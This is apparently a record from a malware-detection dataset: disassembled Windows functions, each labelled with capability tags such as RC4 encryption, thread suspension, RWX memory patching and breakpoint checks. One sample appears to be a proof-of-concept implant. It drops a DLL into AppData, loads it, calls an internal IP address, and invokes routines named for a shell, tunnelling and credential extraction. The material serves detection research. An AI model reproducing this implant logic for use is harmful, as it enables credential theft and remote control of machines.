joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180042f10
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x50
mov r15, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
movsxd rdx, dword [rax + 0x3c]
mov r14d, dword [rdx + rax + 0x50]
lea rsi, str.48_89_5C_24___48_89_6C_24___48_89_7C_24___41_54_41_56_41_57_48_83_EC_50_48_8B_EA_4C_8B_FA_48_8B_D9_4D_85_C9
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
xor ebp, ebp
mov r11d, ebp
mov qword [rsp + 0x40], rbp
lea r12, [0x180059b60]
mov r9, qword [rsp + 0x38]
nop dword [rax + rax]
mov qword [rsp + 0x20], rbp
mov qword [rsp + 0x28], rbp
mov rdi, rbp
movzx edx, byte [rsi]
inc rsi
test dl, dl
je 0x180043027
nop dword [rax + rax]
movzx eax, dil
shl al, 2
not al
and al, 4
movzx ecx, dl
movzx r8d, byte [rcx + r12]
cmp r8b, 0xff
je 0x180042fc7
mov rdx, rdi
shr rdx, 1
movzx ecx, al
mov eax, 0xf
shl al, cl
or byte [rsp + rdx + 0x28], al
shl r8b, cl
or byte [rsp + rdx + 0x20], r8b
jmp 0x180042fd0
cmp dl, 0x3f
je 0x180042fd0
test al, al
jne 0x180042fd9
inc rdi
cmp rdi, 0x10
je 0x180042fe3
movzx edx, byte [rsi]
inc rsi
test dl, dl
jne 0x180042f90
test rdi, rdi
je 0x18004301d
cmp r9, r11
je 0x180043001
movups xmm0, xmmword [rsp + 0x20]
movups xmmword [r9], xmm0
add r9, 0x10
mov qword [rsp + 0x38], r9
jmp 0x18004301d
lea r8, [rsp + 0x20]
mov rdx, r9
lea rcx, [rsp + 0x30]
call fcn.180043380
mov r11, qword [rsp + 0x40]
mov r9, qword [rsp + 0x38]
cmp rdi, 0x10
jae 0x180042f70
lea r10, [r14 + rbx]
mov r8, qword [rsp + 0x30]
cmp rbx, r10
jae 0x180043078
sub r9, r8
sar r9, 4
mov rcx, rbp
test r9, r9
je 0x18004307b
mov rdx, r8
nop word [rax + rax]
mov rax, qword [rbx + rcx*8]
xor rax, qword [rdx]
test qword [rdx + 8], rax
jne 0x18004306b
inc rcx
add rdx, 0x10
cmp rcx, r9
jb 0x180043050
jmp 0x18004307b
inc rbx
cmp rbx, r10
jae 0x180043078
mov rcx, rbp
jmp 0x180043044
mov rbx, rbp
test r8, r8
je 0x1800430ba
sub r11, r8
and r11, 0xfffffffffffffff0
mov rax, r8
cmp r11, 0x1000
jb 0x1800430af
add r11, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800430af
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, r11
mov rcx, r8
call fcn.180047540
mov rax, r15
test rbx, rbx
je 0x1800430c7
mov qword [r15], rbx
jmp 0x1800430ca
mov qword [r15], rbp
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
Function at 0x180044300
Capabilities:
Enumerate threads

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [0x18006c3c0]
xor rax, rsp
mov qword [rsp + 0x50], rax
xor edx, edx
mov ecx, 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0xffffffffffffffff
je 0x18004448e
mov dword [rsp + 0x30], 0x1c
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x180044483
mov eax, dword [rsp + 0x30]
cmp rax, 0x10
jb 0x180044464
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x3c], eax
jne 0x180044464
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rsp + 0x38], eax
je 0x180044464
mov rax, qword [rsp + 0x70]
cmp qword [rax], 0
jne 0x1800443d1
mov rax, qword [rsp + 0x70]
mov dword [rax + 8], 0x80
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 8]
shl rax, 2
mov r8, rax
xor edx, edx
mov rcx, qword [0x180094328]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rsp + 0x70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x70]
cmp qword [rax], 0
jne 0x1800443cf
jmp 0x180044483
jmp 0x18004443b
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x70]
mov ecx, dword [rcx + 8]
cmp dword [rax + 0xc], ecx
jb 0x18004443b
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 8]
shl eax, 1
mov eax, eax
shl rax, 2
mov r9, rax
mov rax, qword [rsp + 0x70]
mov r8, qword [rax]
xor edx, edx
mov rcx, qword [0x180094328]
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x18004441c
jmp 0x180044483
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 8]
shl eax, 1
mov rcx, qword [rsp + 0x70]
mov dword [rcx + 8], eax
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x28]
mov qword [rax], rcx
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx]
mov edx, dword [rsp + 0x38]
mov dword [rcx + rax*4], edx
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0xc]
inc eax
mov rcx, qword [rsp + 0x70]
mov dword [rcx + 0xc], eax
mov dword [rsp + 0x30], 0x1c
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x180044354
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1800471b0
add rsp, 0x68
ret
Function at 0x1800444b0
Capabilities:
Suspend thread

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
mov qword [rax], 0
mov rax, qword [rsp + 0x40]
mov dword [rax + 8], 0
mov rax, qword [rsp + 0x40]
mov dword [rax + 0xc], 0
mov rcx, qword [rsp + 0x40]
call fcn.180044300
mov rax, qword [rsp + 0x40]
cmp qword [rax], 0
je 0x180044572
mov dword [rsp + 0x20], 0
jmp 0x18004450f
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0xc]
cmp dword [rsp + 0x20], eax
jae 0x180044572
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
mov rcx, qword [rcx]
mov r8d, dword [rcx + rax*4]
xor edx, edx
mov ecx, 0x5a
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x180044570
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov r8d, dword [rsp + 0x50]
mov edx, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x28]
call fcn.180044150
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180044505
add rsp, 0x38
ret

Function at 0x180044580
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp qword [rax], 0
je 0x18004460f
mov dword [rsp + 0x20], 0
jmp 0x1800445a8
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0xc]
cmp dword [rsp + 0x20], eax
jae 0x1800445f8
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
mov rcx, qword [rcx]
mov r8d, dword [rcx + rax*4]
xor edx, edx
mov ecx, 0x5a
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x1800445f6
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18004459e
mov rax, qword [rsp + 0x40]
mov r8, qword [rax]
xor edx, edx
mov rcx, qword [0x180094328]
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x38
ret
Function at 0x180044620
Capabilities:
Allocate or change rwx memory

Disassembly:
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
sub rsp, 0x58
mov eax, dword [rsp + 0x60]
imul rax, rax, 0x38
mov rcx, qword [0x180096900]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x38], 5
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x28]
movzx eax, byte [rax + 0x20]
and al, 1
movzx eax, al
test eax, eax
je 0x18004468a
mov rax, qword [rsp + 0x30]
sub rax, 5
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x20]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1800446b3
mov eax, 0xa
jmp 0x1800447e4
cmp dword [rsp + 0x68], 0
je 0x18004471e
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov byte [rax], 0xe9
mov rax, qword [rsp + 0x30]
add rax, 5
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x40]
mov dword [rcx + 1], eax
mov rax, qword [rsp + 0x28]
movzx eax, byte [rax + 0x20]
and al, 1
movzx eax, al
test eax, eax
je 0x18004471c
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov byte [rax], 0xeb
mov rax, qword [rsp + 0x48]
mov byte [rax + 1], 0xf9
jmp 0x18004476a
mov rax, qword [rsp + 0x28]
movzx eax, byte [rax + 0x20]
and al, 1
movzx eax, al
test eax, eax
je 0x18004474e
mov rax, qword [rsp + 0x28]
add rax, 0x18
mov r8d, 7
mov rdx, rax
mov rcx, qword [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
jmp 0x18004476a
mov rax, qword [rsp + 0x28]
add rax, 0x18
mov r8d, 5
mov rdx, rax
mov rcx, qword [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
lea r9, [rsp + 0x20]
mov r8d, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
movzx eax, byte [rsp + 0x68]
and al, 1
shl al, 1
mov rcx, qword [rsp + 0x28]
movzx ecx, byte [rcx + 0x20]
and cl, 0xfd
or cl, al
movzx eax, cl
mov rcx, qword [rsp + 0x28]
mov byte [rcx + 0x20], al
movzx eax, byte [rsp + 0x68]
and al, 1
shl al, 2
mov rcx, qword [rsp + 0x28]
movzx ecx, byte [rcx + 0x20]
and cl, 0xfb
or cl, al
movzx eax, cl
mov rcx, qword [rsp + 0x28]
mov byte [rcx + 0x20], al
xor eax, eax
add rsp, 0x58
ret
Function at 0x180044fe0
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x90], 0x40000000
jbe 0x180045041
mov rax, qword [rsp + 0x90]
sub rax, 0x40000000
cmp qword [rsp + 0x30], rax
jae 0x180045041
mov rax, qword [rsp + 0x90]
sub rax, 0x40000000
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x90]
add rax, 0x40000000
cmp qword [rsp + 0x28], rax
jbe 0x180045069
mov rax, qword [rsp + 0x90]
add rax, 0x40000000
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
sub rax, 0xfff
mov qword [rsp + 0x28], rax
mov rax, qword [0x1800968f0]
mov qword [rsp + 0x20], rax
jmp 0x180045094
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1800450ce
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x20], rax
jb 0x1800450b4
mov rax, qword [rsp + 0x28]
cmp qword [rsp + 0x20], rax
jb 0x1800450b6
jmp 0x180045087
mov rax, qword [rsp + 0x20]
cmp qword [rax + 8], 0
je 0x1800450cc
mov rax, qword [rsp + 0x20]
jmp 0x180045240
jmp 0x180045087
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
jb 0x180045137
mov r8d, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
call fcn.180044de0
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x18004510a
jmp 0x180045137
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1000
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x180045135
jmp 0x180045137
jmp 0x1800450db
cmp qword [rsp + 0x20], 0
jne 0x1800451a8
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x28]
cmp qword [rsp + 0x40], rax
ja 0x1800451a8
mov r8d, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x40]
call fcn.180044ec0
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x18004517b
jmp 0x1800451a8
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1000
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1800451a6
jmp 0x1800451a8
jmp 0x18004514c
cmp qword [rsp + 0x20], 0
je 0x18004523b
mov rax, qword [rsp + 0x20]
add rax, 0x40
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov qword [rax + 8], 0
mov rax, qword [rsp + 0x20]
mov dword [rax + 0x10], 0
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x20]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x48]
add rax, 0x40
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
sub rcx, rax
mov rax, rcx
cmp rax, 0xfc0
jbe 0x1800451db
mov rax, qword [rsp + 0x20]
mov rcx, qword [0x1800968f0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x20]
mov qword [0x1800968f0], rax
mov rax, qword [rsp + 0x20]
add rsp, 0x88
ret
Function at 0x1800459e0
Capabilities:
Check for software breakpoints

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x20]
movzx eax, byte [rcx + rax]
test eax, eax
je 0x180045a39
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x20]
movzx eax, byte [rcx + rax]
cmp eax, 0x90
je 0x180045a39
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x20]
movzx eax, byte [rcx + rax]
cmp eax, 0xcc
je 0x180045a39
xor eax, eax
jmp 0x180045a80
mov dword [rsp], 1
jmp 0x180045a4a
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
mov eax, dword [rsp + 0x28]
cmp dword [rsp], eax
jae 0x180045a7b
mov eax, dword [rsp]
mov rcx, qword [rsp + 0x20]
movzx eax, byte [rcx + rax]
mov ecx, 1
imul rcx, rcx, 0
mov rdx, qword [rsp + 0x20]
movzx ecx, byte [rdx + rcx]
cmp eax, ecx
je 0x180045a79
xor eax, eax
jmp 0x180045a80
jmp 0x180045a42
mov eax, 1
add rsp, 0x18
ret
Function at 0x18004709c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1800470d6
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1800470db
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x180047124
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x18004c930]
cmp byte [rcx + rax], 0
je 0x180047124
dec r8
sub rdx, 1
jne 0x18004710a
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400aa960]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400aa970]
mov dword [rax], 1
mov rax, qword [0x1400aa980]
mov dword [rax], 1
mov rax, qword [0x1400aa950]
mov dword [rax], 1
mov rax, qword [0x1400aa7e0]
cmp word [rax], 0x5a4d
jne 0x140001067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010d0
mov rax, qword [0x1400aa940]
mov dword [0x1400ad00c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x1400010c0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1400aa900]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400aa8e0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400aa770]
cmp dword [rax], 1
je 0x140001108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x140001084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001120
cmp dx, 0x20b
jne 0x140001067
cmp dword [rax + 0x84], 0xe
jbe 0x140001067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x140001067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x140001067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x140001067

Function at 0x1400015eb
Capabilities:
Get session user name

Disassembly:
push rbp
sub rsp, 0x130
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xc0], rcx
mov qword [rbp + 0xc8], rdx
mov qword [rbp + 0xd0], r8
mov dword [rbp + 0xd8], r9d
mov dword [rbp - 0x54], 0x100
lea rdx, [rbp - 0x54]
lea rax, [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameA]
call rax
test eax, eax
jne 0x14000163d
mov eax, 1
jmp 0x140001656
call sym.poc_shell_dll
call sym.poc_conn_dll
call sym.create_tunnel
call sym.extract_credentials
mov eax, 0
add rsp, 0x130
pop rbp
ret

Function at 0x14000165f
Capabilities:
Query environment variable
Write file on windows

Disassembly:
push rbp
sub rsp, 0x170
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x100], rcx
mov dword [rbp + 0x108], edx
mov qword [rbp + 0x110], r8
lea rcx, str.USERNAME
call sym.getenv
mov rcx, rax
lea rax, [rbp - 0x30]
mov rdx, qword [rbp + 0x110]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str.C:Users_sAppDataLocal_s
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x30]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0xffffffffffffffff
je 0x140001763
lea rcx, [rbp - 0x34]
mov edx, dword [rbp + 0x108]
mov rax, qword [rbp + 0xe8]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, edx
mov rdx, qword [rbp + 0x100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov rax, qword [rbp + 0xe8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0xe0], rax
jmp 0x140001764
nop
add rsp, 0x170
pop rbp
ret
Function at 0x14000179a
Capabilities:
Query environment variable

Disassembly:
push rbp
sub rsp, 0x140
lea rbp, [rsp + 0x80]
lea rcx, str.USERNAME
call sym.getenv
mov rdx, rax
lea rax, [rbp - 0x60]
mov r9, rdx
lea r8, str.C:Users_sAppDataLocalpoc_conn_dll.dll
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0xb8], rax
cmp qword [rbp + 0xb8], 0
je 0x140001845
mov rax, qword [rbp + 0xb8]
lea rdx, str.ping_http
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xb0], rax
cmp qword [rbp + 0xb0], 0
je 0x140001830
mov rax, qword [rbp + 0xb0]
lea rcx, str.http:__172.27.229.14
call rax
mov rax, qword [rbp + 0xb8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
jmp 0x140001858
lea rax, [rbp - 0x60]
mov rdx, rax
lea rcx, str.Erreur_lors_du_chargement_de_la_DLL_:__s_n
call sym.printf
nop
add rsp, 0x140
pop rbp
ret

Function at 0x140001b70
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x140001be0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x1400ad0a4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x140001d90
mov rax, qword [0x1400ad0a8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x140001c2c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140001cb7
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x140001c10
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x140001ded
mov rax, qword [0x1400ad0a8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1400ad0a8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001dd2
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001cb0
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001d40
add dword [0x1400ad0a4], 1
cmp ebx, 8
jae 0x140001ce8
test bl, 4
jne 0x140001da0
test ebx, ebx
je 0x140001cd9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x140001dc0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x140001cd9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x140001d1a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x1400ad0a8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001cb0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
xor edi, edi
jmp 0x140001c37
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x140001cd9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x140001cd9
mov rax, qword [0x1400ad0a8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop dword [rax]